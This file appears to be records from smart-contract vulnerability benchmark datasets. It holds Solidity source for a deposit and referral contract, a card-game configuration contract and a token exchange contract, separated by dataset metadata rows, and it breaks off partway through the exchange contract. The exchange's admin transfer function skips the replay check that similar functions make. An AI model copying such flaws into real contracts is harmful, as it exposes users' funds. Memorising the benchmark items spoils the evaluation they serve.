function getUserReferralWithdrawn(address userAddress) public view returns(uint256) {
return users[userAddress].totalBonus.sub(users[userAddress].bonus);
}
function getUserAvailable(address userAddress) public view returns(uint256) {
return getUserReferralBonus(userAddress).add(getUserDividends(userAddress));
}
function getUserAmountOfDeposits(address userAddress) public view returns(uint256) {
return users[userAddress].deposits.length;
}
function getUserTotalDeposits(address userAddress) public view returns(uint256 amount) {
for (uint256 i = 0; i < users[userAddress].deposits.length; i++) {
amount = amount.add(users[userAddress].deposits[i].amount);
}
}
function getUserDepositInfo(address userAddress, uint256 index) public view returns(uint8 plan, uint256 percent, uint256 amount, uint256 profit, uint256 start, uint256 finish) {
User storage user = users[userAddress];
plan = user.deposits[index].plan;
percent = user.deposits[index].percent;
amount = user.deposits[index].amount;
profit = user.deposits[index].profit;
start = user.deposits[index].start;
finish = user.deposits[index].finish;
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
interface ERC20 {
/// @param _owner The address from which the balance will be retrieved
/// @return balance the balance
function balanceOf(address _owner) external view returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return success Whether the transfer was successful or not
function transfer(address _to, uint256 _value) external returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return success Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) external returns (bool success);
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return success Whether the approval was successful or not
function approve(address _spender , uint256 _value) external returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return remaining Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) external view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
| 83,385 | 128 |
bd344e91bfa7e7dba774e39385373dbdfd85a3c004f5ed75c0e228b1738fc5be
| 18,999 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xb16b21fa1984c1236cb5296cd3cce39db8bf79bc.sol
| 5,969 | 18,158 |
pragma solidity ^0.4.18;
contract GameConfig {
using SafeMath for SafeMath;
address public owner;
event newCard(uint256 cardId,uint256 baseCoinCost,uint256 coinCostIncreaseHalf,uint256 ethCost,uint256 baseCoinProduction);
event newBattleCard(uint256 cardId,uint256 baseCoinCost,uint256 coinCostIncreaseHalf,uint256 ethCost,uint256 attackValue,uint256 defenseValue,uint256 coinStealingCapacity);
event newUpgradeCard(uint256 upgradecardId, uint256 coinCost, uint256 ethCost, uint256 upgradeClass, uint256 cardId, uint256 upgradeValue);
struct Card {
uint256 cardId;
uint256 baseCoinCost;
uint256 coinCostIncreaseHalf; // Halfed to make maths slightly less (cancels a 2 out)
uint256 ethCost;
uint256 baseCoinProduction;
bool unitSellable; // Rare units (from raffle) not sellable
}
struct BattleCard {
uint256 cardId;
uint256 baseCoinCost;
uint256 coinCostIncreaseHalf; // Halfed to make maths slightly less (cancels a 2 out)
uint256 ethCost;
uint256 attackValue;
uint256 defenseValue;
uint256 coinStealingCapacity;
bool unitSellable; // Rare units (from raffle) not sellable
}
struct UpgradeCard {
uint256 upgradecardId;
uint256 coinCost;
uint256 ethCost;
uint256 upgradeClass;
uint256 cardId;
uint256 upgradeValue;
}
mapping(uint256 => Card) private cardInfo; //normal card
mapping(uint256 => BattleCard) private battlecardInfo; //battle card
mapping(uint256 => UpgradeCard) private upgradeInfo; //upgrade card
uint256 public currNumOfCards = 9;
uint256 public currNumOfBattleCards = 6;
uint256 public currNumOfUpgrades;
uint256 PLATPrice = 65000;
string versionNo;
// Constructor
function GameConfig() public {
owner = msg.sender;
versionNo = "20180706";
cardInfo[1] = Card(1, 0, 10, 0, 2, true);
cardInfo[2] = Card(2, 100, 50, 0, 5, true);
cardInfo[3] = Card(3, 0, 0, 0.01 ether, 100, true);
cardInfo[4] = Card(4, 200, 100, 0, 10, true);
cardInfo[5] = Card(5, 500, 250, 0, 20, true);
cardInfo[6] = Card(6, 1000, 500, 0, 40, true);
cardInfo[7] = Card(7, 0, 1000, 0.05 ether, 500, true);
cardInfo[8] = Card(8, 1500, 750, 0, 60, true);
cardInfo[9] = Card(9, 0, 0, 0.99 ether, 5500, false);
battlecardInfo[40] = BattleCard(40, 50, 25, 0, 10, 10, 10000, true);
battlecardInfo[41] = BattleCard(41, 100, 50, 0, 1, 25, 500, true);
battlecardInfo[42] = BattleCard(42, 0, 0, 0.01 ether, 200, 10, 50000, true);
battlecardInfo[43] = BattleCard(43, 250, 125, 0, 25, 1, 15000, true);
battlecardInfo[44] = BattleCard(44, 500, 250, 0, 20, 40, 5000, true);
battlecardInfo[45] = BattleCard(45, 0, 2500, 0.02 ether, 0, 0, 100000, true);
//InitUpgradeCard();
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function setPLATPrice(uint256 price) external onlyOwner {
PLATPrice = price;
}
function getPLATPrice() external view returns (uint256) {
return PLATPrice;
}
function getVersion() external view returns(string) {
return versionNo;
}
function InitUpgradeCard() external onlyOwner {
//upgradecardId,coinCost,ethCost,upgradeClass,cardId,upgradeValue;
CreateUpgradeCards(1,500,0,0,1,1);
CreateUpgradeCards(2 ,0,0.02 ether,1,1,1);
CreateUpgradeCards(3,0,0.1 ether,8,1,999);
CreateUpgradeCards(4,0,0.02 ether,0,2,2);
CreateUpgradeCards(5,5000,0,1,2,5);
CreateUpgradeCards(6,0,0.1 ether,8,2,999);
CreateUpgradeCards(7,5000,0,0,3,5);
CreateUpgradeCards(8,0,0.1 ether,1,3,5);
CreateUpgradeCards(9,5000000,0,8,3,999);
CreateUpgradeCards(10,0,0.02 ether,0,4,4);
CreateUpgradeCards(11,10000,0,1,4,5);
CreateUpgradeCards(12,0,0.1 ether,8,4,999);
CreateUpgradeCards(13,15000,0,0,5,6);
CreateUpgradeCards(14,0,0.25 ether,1,5,5);
CreateUpgradeCards(15,0,0.1 ether,8,5,999);
CreateUpgradeCards(16,0,0.02 ether,0,6,8);
CreateUpgradeCards(17,30000,0,1,6,5);
CreateUpgradeCards(18,0,0.1 ether,8,6,999);
CreateUpgradeCards(19,35000,0,0,7,25);
CreateUpgradeCards(20,0,0.05 ether,1,7,5);
CreateUpgradeCards(21,5000000,0,8,7,999);
CreateUpgradeCards(22,0,0.02 ether,0,8,10);
CreateUpgradeCards(23,75000,0,1,8,5);
CreateUpgradeCards(24,0,0.1 ether,8,8,999);
//for battle cards
CreateUpgradeCards(25,1000,0,2,40,5);
CreateUpgradeCards(26,2500,0,4,40,5);
CreateUpgradeCards(27,50000000,0,8,40,999);
CreateUpgradeCards(28,2500,0,4,41,5);
CreateUpgradeCards(29,5000,0,5,41,5);
CreateUpgradeCards(30,50000000,0,8,41,999);
CreateUpgradeCards(31,5000,0,2,42,10);
CreateUpgradeCards(32,7500,0,3,42,5);
CreateUpgradeCards(33,5000000,0,8,42,999);
CreateUpgradeCards(34,7500,0,2,43,5);
CreateUpgradeCards(35,10000,0,6,43,1000);
CreateUpgradeCards(36,50000000,0,8,43,999);
CreateUpgradeCards(37,10000,0,3,44,5);
CreateUpgradeCards(38,15000,0,5,44,5);
CreateUpgradeCards(39,50000000,0,8,44,999);
CreateUpgradeCards(40,25000,0,6,45,10000);
CreateUpgradeCards(41,50000,0,7,45,5);
CreateUpgradeCards(42,5000000,0,8,45,999);
}
function CreateBattleCards(uint256 _cardId, uint256 _baseCoinCost, uint256 _coinCostIncreaseHalf, uint256 _ethCost, uint _attackValue, uint256 _defenseValue, uint256 _coinStealingCapacity, bool _unitSellable) public onlyOwner {
BattleCard memory _battlecard = BattleCard({
cardId: _cardId,
baseCoinCost: _baseCoinCost,
coinCostIncreaseHalf: _coinCostIncreaseHalf,
ethCost: _ethCost,
attackValue: _attackValue,
defenseValue: _defenseValue,
coinStealingCapacity: _coinStealingCapacity,
unitSellable: _unitSellable
});
battlecardInfo[_cardId] = _battlecard;
currNumOfBattleCards = SafeMath.add(currNumOfBattleCards,1);
newBattleCard(_cardId,_baseCoinCost,_coinCostIncreaseHalf,_ethCost,_attackValue,_defenseValue,_coinStealingCapacity);
}
function CreateCards(uint256 _cardId, uint256 _baseCoinCost, uint256 _coinCostIncreaseHalf, uint256 _ethCost, uint256 _baseCoinProduction, bool _unitSellable) public onlyOwner {
Card memory _card = Card({
cardId: _cardId,
baseCoinCost: _baseCoinCost,
coinCostIncreaseHalf: _coinCostIncreaseHalf,
ethCost: _ethCost,
baseCoinProduction: _baseCoinProduction,
unitSellable: _unitSellable
});
cardInfo[_cardId] = _card;
currNumOfCards = SafeMath.add(currNumOfCards,1);
newCard(_cardId,_baseCoinCost,_coinCostIncreaseHalf,_ethCost,_baseCoinProduction);
}
function CreateUpgradeCards(uint256 _upgradecardId, uint256 _coinCost, uint256 _ethCost, uint256 _upgradeClass, uint256 _cardId, uint256 _upgradeValue) public onlyOwner {
UpgradeCard memory _upgradecard = UpgradeCard({
upgradecardId: _upgradecardId,
coinCost: _coinCost,
ethCost: _ethCost,
upgradeClass: _upgradeClass,
cardId: _cardId,
upgradeValue: _upgradeValue
});
upgradeInfo[_upgradecardId] = _upgradecard;
currNumOfUpgrades = SafeMath.add(currNumOfUpgrades,1);
newUpgradeCard(_upgradecardId,_coinCost,_ethCost,_upgradeClass,_cardId,_upgradeValue);
}
function getCostForCards(uint256 cardId, uint256 existing, uint256 amount) public constant returns (uint256) {
uint256 icount = existing;
if (amount == 1) {
if (existing == 0) {
return cardInfo[cardId].baseCoinCost;
} else {
return cardInfo[cardId].baseCoinCost + (existing * cardInfo[cardId].coinCostIncreaseHalf * 2);
}
} else if (amount > 1) {
uint256 existingCost;
if (existing > 0) {
existingCost = (cardInfo[cardId].baseCoinCost * existing) + (existing * (existing - 1) * cardInfo[cardId].coinCostIncreaseHalf);
}
icount = SafeMath.add(existing,amount);
uint256 newCost = SafeMath.add(SafeMath.mul(cardInfo[cardId].baseCoinCost, icount), SafeMath.mul(SafeMath.mul(icount, (icount - 1)), cardInfo[cardId].coinCostIncreaseHalf));
return newCost - existingCost;
}
}
function getCostForBattleCards(uint256 cardId, uint256 existing, uint256 amount) public constant returns (uint256) {
uint256 icount = existing;
if (amount == 1) {
if (existing == 0) {
return battlecardInfo[cardId].baseCoinCost;
} else {
return battlecardInfo[cardId].baseCoinCost + (existing * battlecardInfo[cardId].coinCostIncreaseHalf * 2);
}
} else if (amount > 1) {
uint256 existingCost;
if (existing > 0) {
existingCost = (battlecardInfo[cardId].baseCoinCost * existing) + (existing * (existing - 1) * battlecardInfo[cardId].coinCostIncreaseHalf);
}
icount = SafeMath.add(existing,amount);
uint256 newCost = SafeMath.add(SafeMath.mul(battlecardInfo[cardId].baseCoinCost, icount), SafeMath.mul(SafeMath.mul(icount, (icount - 1)), battlecardInfo[cardId].coinCostIncreaseHalf));
return newCost - existingCost;
}
}
function getCostForUprade(uint256 cardId, uint256 existing, uint256 amount) public constant returns (uint256) {
if (amount == 1) {
if (existing == 0) {
return upgradeInfo[cardId].coinCost;
} else if (existing == 1 || existing == 4){
return 0;
}else if (existing == 2) {
return upgradeInfo[cardId].coinCost * 50;
}else if (existing == 3) {
return upgradeInfo[cardId].coinCost * 50 * 40;
}else if (existing == 5) {
return upgradeInfo[cardId].coinCost * 50 * 40 * 30;
}
}
}
function getWeakenedDefensePower(uint256 defendingPower) external pure returns (uint256) {
return SafeMath.div(defendingPower,2);
}
/// @notice get the production card's ether cost
function unitEthCost(uint256 cardId) external constant returns (uint256) {
return cardInfo[cardId].ethCost;
}
/// @notice get the battle card's ether cost
function unitBattleEthCost(uint256 cardId) external constant returns (uint256) {
return battlecardInfo[cardId].ethCost;
}
/// @notice get the battle card's plat cost
function unitBattlePLATCost(uint256 cardId) external constant returns (uint256) {
return SafeMath.mul(battlecardInfo[cardId].ethCost,PLATPrice);
}
/// @notice normal production plat value
function unitPLATCost(uint256 cardId) external constant returns (uint256) {
return SafeMath.mul(cardInfo[cardId].ethCost,PLATPrice);
}
function unitCoinProduction(uint256 cardId) external constant returns (uint256) {
return cardInfo[cardId].baseCoinProduction;
}
function unitAttack(uint256 cardId) external constant returns (uint256) {
return battlecardInfo[cardId].attackValue;
}
function unitDefense(uint256 cardId) external constant returns (uint256) {
return battlecardInfo[cardId].defenseValue;
}
function unitStealingCapacity(uint256 cardId) external constant returns (uint256) {
return battlecardInfo[cardId].coinStealingCapacity;
}
function productionCardIdRange() external constant returns (uint256, uint256) {
return (1, currNumOfCards);
}
function battleCardIdRange() external constant returns (uint256, uint256) {
uint256 battleMax = SafeMath.add(39,currNumOfBattleCards);
return (40, battleMax);
}
function upgradeIdRange() external constant returns (uint256, uint256) {
return (1, currNumOfUpgrades);
}
function getcurrNumOfCards() external view returns (uint256) {
return currNumOfCards;
}
function getcurrNumOfUpgrades() external view returns (uint256) {
return currNumOfUpgrades;
}
// get the detail info of card
function getCardsInfo(uint256 cardId) external constant returns (uint256 baseCoinCost,
uint256 coinCostIncreaseHalf,
uint256 ethCost,
uint256 baseCoinProduction,
uint256 platCost,
bool unitSellable) {
baseCoinCost = cardInfo[cardId].baseCoinCost;
coinCostIncreaseHalf = cardInfo[cardId].coinCostIncreaseHalf;
ethCost = cardInfo[cardId].ethCost;
baseCoinProduction = cardInfo[cardId].baseCoinProduction;
platCost = SafeMath.mul(ethCost,PLATPrice);
unitSellable = cardInfo[cardId].unitSellable;
}
//for production card
function getCardInfo(uint256 cardId, uint256 existing, uint256 amount) external view returns
(uint256, uint256, uint256, uint256, bool) {
return (cardInfo[cardId].cardId,
cardInfo[cardId].baseCoinProduction,
getCostForCards(cardId, existing, amount),
SafeMath.mul(cardInfo[cardId].ethCost, amount),
cardInfo[cardId].unitSellable);
}
//for battle card
function getBattleCardInfo(uint256 cardId, uint256 existing, uint256 amount) external constant returns
(uint256, uint256, uint256, bool) {
return (battlecardInfo[cardId].cardId,
getCostForBattleCards(cardId, existing, amount),
SafeMath.mul(battlecardInfo[cardId].ethCost, amount),
battlecardInfo[cardId].unitSellable);
}
//Battle Cards
function getBattleCardsInfo(uint256 cardId) external constant returns (uint256 baseCoinCost,
uint256 coinCostIncreaseHalf,
uint256 ethCost,
uint256 attackValue,
uint256 defenseValue,
uint256 coinStealingCapacity,
uint256 platCost,
bool unitSellable) {
baseCoinCost = battlecardInfo[cardId].baseCoinCost;
coinCostIncreaseHalf = battlecardInfo[cardId].coinCostIncreaseHalf;
ethCost = battlecardInfo[cardId].ethCost;
attackValue = battlecardInfo[cardId].attackValue;
defenseValue = battlecardInfo[cardId].defenseValue;
coinStealingCapacity = battlecardInfo[cardId].coinStealingCapacity;
platCost = SafeMath.mul(ethCost,PLATPrice);
unitSellable = battlecardInfo[cardId].unitSellable;
}
function getUpgradeInfo(uint256 upgradeId) external constant returns (uint256 coinCost,
uint256 ethCost,
uint256 upgradeClass,
uint256 cardId,
uint256 upgradeValue,
uint256 platCost) {
coinCost = upgradeInfo[upgradeId].coinCost;
ethCost = upgradeInfo[upgradeId].ethCost;
upgradeClass = upgradeInfo[upgradeId].upgradeClass;
cardId = upgradeInfo[upgradeId].cardId;
upgradeValue = upgradeInfo[upgradeId].upgradeValue;
platCost = SafeMath.mul(ethCost,PLATPrice);
}
//upgrade cards
function getUpgradeCardsInfo(uint256 upgradecardId, uint256 existing) external constant returns (uint256 coinCost,
uint256 ethCost,
uint256 upgradeClass,
uint256 cardId,
uint256 upgradeValue,
uint256 platCost) {
coinCost = upgradeInfo[upgradecardId].coinCost;
ethCost = upgradeInfo[upgradecardId].ethCost;
upgradeClass = upgradeInfo[upgradecardId].upgradeClass;
cardId = upgradeInfo[upgradecardId].cardId;
if (upgradeClass==8) {
upgradeValue = upgradeInfo[upgradecardId].upgradeValue;
if (ethCost>0) {
if (existing==1) {
ethCost = 0.2 ether;
} else if (existing==2) {
ethCost = 0.5 ether;
}
} else {
bool bf = false;
if (upgradecardId == 27 || upgradecardId==30 || upgradecardId==36) {
bf = true;
}
if (bf == true) {
if (existing==1) {
coinCost = 0;
ethCost = 0.1 ether;
} else if (existing==2) {
coinCost = 0;
ethCost = 0.1 ether;
}
}else{
if (existing==1) {
coinCost = coinCost * 10;
} else if (existing==2) {
coinCost = coinCost * 100;
}
}
}
if (existing ==1) {
upgradeValue = 9999;
}else if (existing==2){
upgradeValue = 99999;
}
} else {
uint8 uflag;
if (coinCost >0) {
if (upgradeClass ==0 || upgradeClass ==1 || upgradeClass == 3) {
uflag = 1;
} else if (upgradeClass==2 || upgradeClass == 4 || upgradeClass==5 || upgradeClass==7) {
uflag = 2;
}
}
if (coinCost>0 && existing>=1) {
coinCost = getCostForUprade(upgradecardId, existing, 1);
}
if (ethCost>0) {
if (upgradecardId == 2) {
if (existing>=1) {
ethCost = SafeMath.mul(ethCost,2);
}
}
} else {
if ((existing ==1 || existing ==4)) {
if (ethCost<=0) {
ethCost = 0.1 ether;
coinCost = 0;
}
}
}
upgradeValue = upgradeInfo[upgradecardId].upgradeValue;
if (ethCost>0) {
if (uflag==1) {
upgradeValue = upgradeInfo[upgradecardId].upgradeValue * 2;
} else if (uflag==2) {
upgradeValue = upgradeInfo[upgradecardId].upgradeValue * 4;
} else {
if (upgradeClass == 6){
if (upgradecardId == 27){
upgradeValue = upgradeInfo[upgradecardId].upgradeValue * 5;
} else if (upgradecardId == 40) {
upgradeValue = upgradeInfo[upgradecardId].upgradeValue * 3;
}
}
}
}
}
platCost = SafeMath.mul(ethCost,PLATPrice);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 201,500 | 129 |
7e3df3790eff20f377751defe55eec4232fc7da5ca26201fc791f4d23beed9c8
| 20,615 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0x1860d43a2a1b9b03907eb6a6b92ce256694dd315.sol
| 5,718 | 20,228 |
pragma solidity ^0.4.25;
contract Token {
function transfer(address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
}
contract NescrowExchangeService {
address owner = msg.sender;
uint256 public feeRateLimit = 200;
uint256 public takerFeeRate = 0;
uint256 public makerFeeRate = 0;
address public feeAddress;
mapping (address => bool) public admins;
mapping (bytes32 => uint256) public orderFills;
mapping (bytes32 => uint256) public orderPaymentFills;
mapping (bytes32 => bool) public withdrawn;
mapping (bytes32 => bool) public transfers;
mapping (address => mapping (address => uint256)) public balances;
mapping (address => uint256) public tradesLocked;
mapping (address => uint256) public disableFees;
mapping (address => uint256) public tokenDecimals;
mapping (address => bool) public tokenRegistered;
struct EIP712Domain {
string name;
string version;
uint256 chainId;
address verifyingContract;
}
event OrderPayment(address indexed user, address spendToken, uint256 spendAmount, address indexed merchant, address merchantReceiveToken, uint256 merchantReceiveAmount);
event TradesLock(address user);
event TradesUnlock(address user);
modifier onlyOwner {
assert(msg.sender == owner);
_;
}
modifier onlyAdmin {
require(msg.sender == owner || admins[msg.sender]);
_;
}
bytes32 constant EIP712DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");
bytes32 constant ORDER_TYPEHASH = keccak256("Order(address fromToken,uint256 fromAmount,address toToken,uint256 toAmount,uint256 autoWithdraw,uint256 expires,uint256 nonce)");
bytes32 constant ORDER_WITH_TIPS_TYPEHASH = keccak256("OrderWithTips(address fromToken,uint256 fromAmount,address toToken,uint256 toAmount,uint256 autoWithdraw,uint256 expires,uint256 nonce,uint256 makerTips,uint256 takerTips)");
bytes32 constant ORDER_PAYMENT_TYPEHASH = keccak256("OrderPayment(address spendToken,uint256 spendAmount,address merchantReceiveToken,uint256 merchantReceiveAmount,address merchant,uint256 expires,uint256 nonce)");
bytes32 constant WITHDRAWAL_TYPEHASH = keccak256("Withdrawal(address withdrawToken,uint256 amount,uint256 nonce)");
bytes32 constant TIPS_TYPEHASH = keccak256("Tips(address tipsToken,uint256 amount,uint256 nonce)");
bytes32 constant TRANSFER_TYPEHASH = keccak256("Transfer(address transferToken,address to,uint256 amount,uint256 nonce)");
bytes32 DOMAIN_SEPARATOR;
function domainHash(EIP712Domain eip712Domain) internal pure returns (bytes32) {
return keccak256(abi.encode(EIP712DOMAIN_TYPEHASH,
keccak256(bytes(eip712Domain.name)),
keccak256(bytes(eip712Domain.version)),
eip712Domain.chainId,
eip712Domain.verifyingContract));
}
constructor() public {
DOMAIN_SEPARATOR = domainHash(EIP712Domain({
name: "Nescrow Exchange",
version: '2',
chainId: 1,
verifyingContract: this
}));
tokenRegistered[0x0] = true;
tokenDecimals[0x0] = 18;
}
function setOwner(address newOwner) external onlyOwner {
owner = newOwner;
}
function getOwner() public view returns (address out) {
return owner;
}
function setAdmin(address admin, bool isAdmin) external onlyOwner {
admins[admin] = isAdmin;
}
function deposit() external payable {
uint amount = safeDiv(msg.value, 10**10);
require(amount > 0);
increaseBalance(msg.sender, address(0), amount);
}
function depositToken(address token, uint256 amount) external {
require(amount > 0);
require(token != 0x0);
require(safeTransferFrom(token, msg.sender, this, toTokenAmount(token, amount)));
increaseBalance(msg.sender, token, amount);
}
function depositTokenByAdmin(address user, address token, uint256 amount)
external onlyAdmin {
require(amount > 0);
require(token != 0x0);
require(safeTransferFrom(token, user, this, toTokenAmount(token, amount)));
increaseBalance(user, token, amount);
}
function sendTips() external payable {
uint amount = safeDiv(msg.value, 10**10);
require(amount > 0);
increaseBalance(feeAddress, address(0), amount);
}
function transferTips(address token, uint256 amount, address fromUser, uint nonce, uint8 v, bytes32 r, bytes32 s)
external onlyAdmin {
require(amount > 0);
bytes32 hash = keccak256(abi.encode(TIPS_TYPEHASH, token, amount, nonce));
require(ecrecover(keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, hash)), v, r, s) == fromUser);
require(!transfers[hash]);
transfers[hash] = true;
require(reduceBalance(fromUser, token, amount));
increaseBalance(feeAddress, token, amount);
}
function transfer(address token, uint256 amount, address fromUser, address toUser, uint nonce, uint8 v, bytes32 r, bytes32 s)
external onlyAdmin {
require(amount > 0);
bytes32 hash = keccak256(abi.encode(TRANSFER_TYPEHASH, token, toUser, amount, nonce));
require(ecrecover(keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, hash)), v, r, s) == fromUser);
transfers[hash] = true;
require(reduceBalance(fromUser, token, amount));
increaseBalance(toUser, token, amount);
}
function withdrawByAdmin(address token, uint256 amount, address user, uint nonce, uint8 v, bytes32 r, bytes32 s)
external onlyAdmin {
require(amount > 0);
bytes32 hash = keccak256(abi.encode(WITHDRAWAL_TYPEHASH, token, amount, nonce));
require(ecrecover(keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, hash)), v, r, s) == user);
require(!withdrawn[hash]);
withdrawn[hash] = true;
require(reduceBalance(user, token, amount));
require(sendToUser(user, token, amount));
}
function withdraw(address token, uint256 amount) external {
require(amount > 0);
require(tradesLocked[msg.sender] > block.number);
require(reduceBalance(msg.sender, token, amount));
require(sendToUser(msg.sender, token, amount));
}
function reduceBalance(address user, address token, uint256 amount) private returns(bool) {
if (balances[token][user] < amount) return false;
balances[token][user] = safeSub(balances[token][user], amount);
return true;
}
function increaseBalanceOrWithdraw(address user, address token, uint256 amount, uint256 _withdraw) private returns(bool) {
if (_withdraw == 1) {
return sendToUser(user, token, amount);
} else {
return increaseBalance(user, token, amount);
}
}
function increaseBalance(address user, address token, uint256 amount) private returns(bool) {
balances[token][user] = safeAdd(balances[token][user], amount);
return true;
}
function sendToUser(address user, address token, uint256 amount) private returns(bool) {
if (token == address(0)) {
return user.send(toTokenAmount(address(0), amount));
} else {
return safeTransfer(token, user, toTokenAmount(token, amount));
}
}
function toTokenAmount(address token, uint256 amount) private view returns (uint256) {
require(tokenRegistered[token]);
uint256 decimals = token == address(0)
? 18
: tokenDecimals[token];
if (decimals == 8) {
return amount;
}
if (decimals > 8) {
return safeMul(amount, 10**(decimals - 8));
} else {
return safeDiv(amount, 10**(8 - decimals));
}
}
function setTakerFeeRate(uint256 feeRate) external onlyAdmin {
require(feeRate == 0 || feeRate >= feeRateLimit);
takerFeeRate = feeRate;
}
function setMakerFeeRate(uint256 feeRate) external onlyAdmin {
require(feeRate == 0 || feeRate >= feeRateLimit);
makerFeeRate = feeRate;
}
function setFeeAddress(address _feeAddress) external onlyAdmin {
require(_feeAddress != address(0));
feeAddress = _feeAddress;
}
function disableFeesForUser(address user, uint256 timestamp) external onlyAdmin {
require(timestamp > block.timestamp);
disableFees[user] = timestamp;
}
function registerToken(address token, uint256 decimals) external onlyAdmin {
require(!tokenRegistered[token]);
tokenRegistered[token] = true;
tokenDecimals[token] = decimals;
}
function tradesLock(address user) external {
require(user == msg.sender);
tradesLocked[user] = block.number + 20000;
emit TradesLock(user);
}
function tradesUnlock(address user) external {
require(user == msg.sender);
tradesLocked[user] = 0;
emit TradesUnlock(user);
}
function isUserMakerFeeEnabled(address user, uint256 disableFee) private view returns(bool) {
return disableFee == 0 && makerFeeRate > 0 && disableFees[user] < block.timestamp;
}
function isUserTakerFeeEnabled(address user, uint256 disableFee) private view returns(bool) {
return disableFee == 0 && takerFeeRate > 0 && disableFees[user] < block.timestamp;
}
function calculateRate(uint256 offerAmount, uint256 wantAmount) private pure returns(uint256) {
return safeDiv(safeMul(10**8, wantAmount), offerAmount);
}
function trade(uint256[10] amounts,
address[4] addresses,
uint256[6] values,
bytes32[4] rs) external onlyAdmin {
require(tradesLocked[addresses[0]] < block.number);
require(block.timestamp <= amounts[2]);
bytes32 orderHash = keccak256(abi.encode(ORDER_TYPEHASH, addresses[2], amounts[0], addresses[3], amounts[1], values[2], amounts[2], amounts[3]));
require(ecrecover(keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, orderHash)), uint8(values[0]), rs[0], rs[1]) == addresses[0]);
orderFills[orderHash] = safeAdd(orderFills[orderHash], amounts[8]);
require(orderFills[orderHash] <= amounts[0]);
require(tradesLocked[addresses[1]] < block.number);
require(block.timestamp <= amounts[6]);
bytes32 orderHash2 = keccak256(abi.encode(ORDER_TYPEHASH, addresses[3], amounts[4], addresses[2], amounts[5], values[3], amounts[6], amounts[7]));
require(ecrecover(keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, orderHash2)), uint8(values[1]), rs[2], rs[3]) == addresses[1]);
uint256 makerRate = calculateRate(amounts[0], amounts[1]);
uint256 takerRate = calculateRate(amounts[5], amounts[4]);
require(makerRate <= takerRate);
require(makerRate == calculateRate(amounts[8], amounts[9]));
orderFills[orderHash2] = safeAdd(orderFills[orderHash2], amounts[9]);
require(orderFills[orderHash2] <= amounts[4]);
require(reduceBalance(addresses[0], addresses[2], amounts[8]));
require(reduceBalance(addresses[1], addresses[3], amounts[9]));
if (isUserMakerFeeEnabled(addresses[0], values[4])) {
require(increaseBalanceOrWithdraw(addresses[0], addresses[3], safeSub(amounts[9], safeDiv(amounts[9], makerFeeRate)), values[2]));
increaseBalance(feeAddress, addresses[3], safeDiv(amounts[9], makerFeeRate));
} else {
require(increaseBalanceOrWithdraw(addresses[0], addresses[3], amounts[9], values[2]));
}
if (isUserTakerFeeEnabled(addresses[1], values[5])) {
require(increaseBalanceOrWithdraw(addresses[1], addresses[2], safeSub(amounts[8], safeDiv(amounts[8], takerFeeRate)), values[3]));
increaseBalance(feeAddress, addresses[2], safeDiv(amounts[8], takerFeeRate));
} else {
require(increaseBalanceOrWithdraw(addresses[1], addresses[2], amounts[8], values[3]));
}
}
function exchangeAndPay(uint256[10] amounts,
address[5] addresses,
uint256[4] values,
bytes32[4] rs) external onlyAdmin {
require(tradesLocked[addresses[0]] < block.number);
require(block.timestamp <= amounts[2]);
bytes32 orderHash = keccak256(abi.encode(ORDER_TYPEHASH, addresses[2], amounts[0], addresses[3], amounts[1], values[3], amounts[2], amounts[3]));
require(ecrecover(keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, orderHash)), uint8(values[0]), rs[0], rs[1]) == addresses[0]);
orderFills[orderHash] = safeAdd(orderFills[orderHash], amounts[8]);
require(orderFills[orderHash] <= amounts[0]);
require(tradesLocked[addresses[1]] < block.number);
require(block.timestamp <= amounts[6]);
